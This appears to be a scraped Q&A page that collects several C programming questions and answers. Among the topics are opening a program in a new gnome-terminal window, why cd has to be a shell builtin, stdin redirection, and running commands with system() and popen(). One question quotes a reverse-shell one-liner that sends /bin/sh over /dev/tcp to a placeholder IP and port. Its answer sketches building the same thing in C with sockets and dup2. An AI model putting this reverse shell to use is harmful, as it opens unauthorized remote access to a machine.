gcc version 5.3.0 20151204 (Ubuntu 5.3.0-3ubuntu1~14.04)
I read this and and I find this line:
int exit_status = system("gnome-terminal");
so when I add it to my code it only open a new terminal window (well that's what he was asking for) but my program runs in the old one.
is there any way to run my program in a new terminal window.
and also when the program finish executing, the terminal window get closed like I typed the exit command
system("gnome-terminal"); will run the given command, wait for it to exit, and then continue with your program. That's why your program continues to run in the current terminal window.
Rather than trying to do this in C, it probably makes more sense to write a shell script wrapper for your program, and use that script to launch your program in a new terminal window:
#!/bin/bash
gnome-terminal -e ./your-program-name your program arguments
Make the script executable (chmod +x script-name), and then you can run it just like you would a C program. You can even have it forward the arguments from the script to your actual program:
#!/bin/bash
gnome-terminal -e ./your-program-name "$#"
Note that rather than using gnome-terminal (which assumes the user has gnome installed), you can use the more neutral x-terminal-emulator command instead (see How can I make a script that opens terminal windows and executes commands in them?).
If you really want to do this from your C program, then I'd recommend doing something like this:
#include <stdio.h>
#include <stdlib.h>
char cmd[1024];
int main(int argc, char *argv[]){
// re-launch in new window, if needed
char *new_window_val = getenv("IN_NEW_WINDOW");
const char *user_arg = argc < 2 ? "" : argv[1];
if (!new_window_val || new_window_val[0] != '1') {
snprintf(cmd, sizeof(cmd), "gnome-terminal -e IN_NEW_WINDOW=1 %s %s", argv[0], user_arg);
printf("RELAUNCH! %s\n", cmd);
return system(cmd);
}
// do normal stuff
printf("User text: %s\n", argv[1]);
return 0;
}
Using an environment variable (IN_NEW_WINDOW in this case) to check if you've already launched in a new window should make it so that the new window only opens once. Note that the above code assumes a program with only one argument.
However, I still think using the wrapper script is a better solution.
Related
I'm currently doing my Homework for UNIX(LINUX) programming.
I was assigned to build my own custom shell that all commonly used linux command and custom program can work.
I also created my_ls, my_cp, my_rm, my_cd for checking that both linux command and my own command works.
Simple story's are below
./myOwnShell // Run my own shell
home/testFolder>>ls . // Shell prompt
a.out helloWorld.txt myOwnShell.c myOwnShell // Print ls command's result
home/test/Folder>>my_ls . // Run my own ls command program
a.out helloWorld.txt myOwnShell.c myOwnShell
So far, all the linux command (which in /bin/) and my own command (which in home//bin/) works.
But it comes with differences when I type cd and my_cd - which changes current cwd
home/testFolder>>cd ..
Fail to run program // Error message from exec function failure
home/testFolder>>my_cd ..
// No message but also cwd is not changed
home/testFolder>> // Prompt from same folder
Somewhat pseudo source codes are below for myShell program
(I cannot copy/paste for my source cause it is in university server and transfer protocols are blocked)
int main() {
char** res; // store command by tokening
while (1) {
printf("%s>>", cwd);
gets(in); // get command
// <Some codes that split `in` by space and store it into res>
// <If cmd is "ls ./folder" -> res = ["ls", "./folder", NULL]>
pid = fork();
if (pid == 0) { // child
if (execvp(res[0], res) == -1) { // Run 'ls' command
printf("Fail to run program");
exit(0); // Exit child process
}
} else { // Parent, I omit in case of fork failure
wait(0);
// Omit exit status checking code
}
}
return 0;
}
Command cd is linux built-in command,
Command my_cd is my own program which change it's cwd.
And I do know that changing child process's cwd cannot effect to parent process and that's why 'cd' dose not change my shell's cwd. And I found that cd command is not in /bin/, so I guess cdis coded inside linux shell.
How can I make it work?
For linux cd
For my own my_cd -- I don't have it's source code, only have program. It is from my professor.
My guess is that cd cannot be implemented unless it is coded in shell itself. But professor give me this homework and it can mean that it is possible.
Any idea please?
I'm trying to read command line arguments that have been redirected from a file. The command I'm using is ./a.out < test.txt
And the contents of test.txt is: Hello world.
But the output of my program below isn't printing Hello
world. Instead it is only showing ./a.out. Why is this?
int main(int argc, char* argv[], char* envp[]) {
for (int i = 1; i < argc; i++) {
printf("%s\n", argv[i]);
}
}
The shell intercepts the redirection commands before preparing the command line for the program:
myProg <infile -t >outfile
will pass to the program
myProg -t
with stdin and stdout already rerouted before the pogram starts. So the program never sees the rediretion.
There a lot of cases, besides simple derirection:
dir > myfile.txt
Especially you can pipe output from one program to another:
dir | more
It will send output if dir command to more command. Since program launch handled by OS shell, it handles a redirection too.
Because the language is defined that way. Suppose what you say is true —
All the user input will have to come from command line arguments, but text redirected from a file can satisfy input required in different functions. This can be achieved if the input appears as command line arguments.
Consider this program:
#include <stdio.h>
int is_dict(char *word)
{
/* code to look up a dictionary */
int result = 1;
return result;
}
int main(int argc, char *argv[])
{
if(argc == 2 && is_dict(argv[1]))
printf("%s found", argv[1]);
return 0;
}
If the program is written that way to accommodate it, then the input would have to come from the command line arguments. How would you take input when it is not redirected? It would require more program overhead to detect the missing inputs.
Moreover, imagine a text file containing a million words: it is unfeasible to expect each word to arrive as an argv[n].
There are other objections too. Suppose the program prints a series of prompts for responses. The user would have to know in advance what the prompts are, to supply the answers before the prompts appear.
Lastly, if the program is run from a GUI, then all the program's input will have to be edited into its properties before it is run.
I am using MS visual studio 2008, for C coding.
I know we can use
"int system(const char *command)" to execute commands.
Is there any other method to execute system commands in C program.
Also I need to store output of executed command in a variable.
system() function execute command and send output to stdout , is there any way to read from stdout and store in variable.
So my ultimate goal is to execute system command in C program for windows (using visual studio) and store output of that command in a variable.
Any suggestions ?
Standard C libraries give you only one way to execute external command in OS, so use int system(const char *command).
You can save output of this command to text file, and then read this file from you program.
For example:
#include <stdio.h>
#include <stdlib.h>
#define TMP_FILE_NAME "TMP_FOLDER_CONTENT.txt"
int main(int argc, char *argv[])
{
system("dir C:\* > "TMP_FILE_NAME);
FILE * fdir = fopen(TMP_FILE_NAME, "r");
char buff[100];
if (fdir)
{
while (1) {
if (fgets(buff, 100, fdir) == NULL) break;
printf("%s", buff);
}
}
fclose(fdir);
remove(TMP_FILE_NAME);
return 0;
}
Where dir is a program to be executed, C:\* - argument of the program, and > - redirection of standard output for that command after which filename TMP_FOLDER_CONTENT.txt will be substituted.
Also you can check returned value, as:
int errorcode = system("dir C:\* > "TMP_FILE_NAME);
printf("Command executed and returned a value %d\n", errorcode);
or taking into account command you use, change the logic of your program, e.g.:
int errorcode = system("dir C:\* > "TMP_FILE_NAME);
if( errorcode )
{
return errorcode;
}
UPDATE:
Alternatively, you could use pipes in C++, for example as shown in the answer to question How to execute a command and get output of command within C++ using POSIX?
you can do as #VolAnd said or also if you don't care about/don't want the output of the command to be in stdout and you also don't want anything else to be printed to stdout you can use freopen to set stdout to a file of your choice.
I need to run a reverse shell using execve. I know how to run it from command line as follows:
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
I can run a simple version of /bin/sh call as follows:
#include <stdio.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = "-i";
args[2] = NULL;
execve(args[0], args, NULL);
}
I am not able to figure out how to run the rest of the command. I tried assigning the remaining string > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 as individual elements in the args array. When I run that it reports that Can't open >.
Is the reverse shell command I mentioned executable via execve() ? If so, what would be the right way to do it ? Thanks.
The /dev/tcp/*/* files don't exist. They're an abstraction that only exists in some shell (bash, ksh). You'll need to do regular socket programming in your C program (socket, bind, listen, accept and then dup2 the socket on the standard IO descriptors of the shell you spawn).
You should also fix the overflow in the array.
An initialization such as char *args[] = { "/bin/sh", "-i", 0 }; should be less error prone.
The program I want to use in my code is a command line tool.
Users type ./program first, and then users can use some command provided by the program.
I want to execute two commands in my source code (myCode.cpp):
#include <stdio.h>
#include <stdlib.h>
int main ()
{
int i;
printf ("Checking if processor is available...");
if (system(NULL)) puts ("Ok");
else exit (EXIT_FAILURE);
printf ("Executing command ...\n");
system ("./program");
system ("command1");
system ("command2");
return 0;
}
After execute my program(./myCode), the program is launched but the two command is not executed.
How to execute the two commands?
How to terminate the program and then execute the following lines of my code? (after system())
To achieve what you want to do, you need to use popen(), not system().
Popen starts a new process that executes the program you specify in the command, and then maps the input or output stream of that program to a file descriptor available in your own program.
Then, you can communicate with this program through this file descriptor.
You code should look like (not actually compiled):
FILE* file = popen("/path/to/your/program", "w")
if (!file) {
// Something not nice happened
}
fprintf(file, "command1\n");
//...
pclose(file);
Use popen() instead of system(), and, assuming your program takes its commands from its standard input, write your commands in the FILE* returned by popen():
FILE* pin = popen("./program", "w");
fprintf(pin, "command1\n");
fprintf(pin, "command2\n");
fflush(pin);
pclose(pin); // this will wait until ./program terminates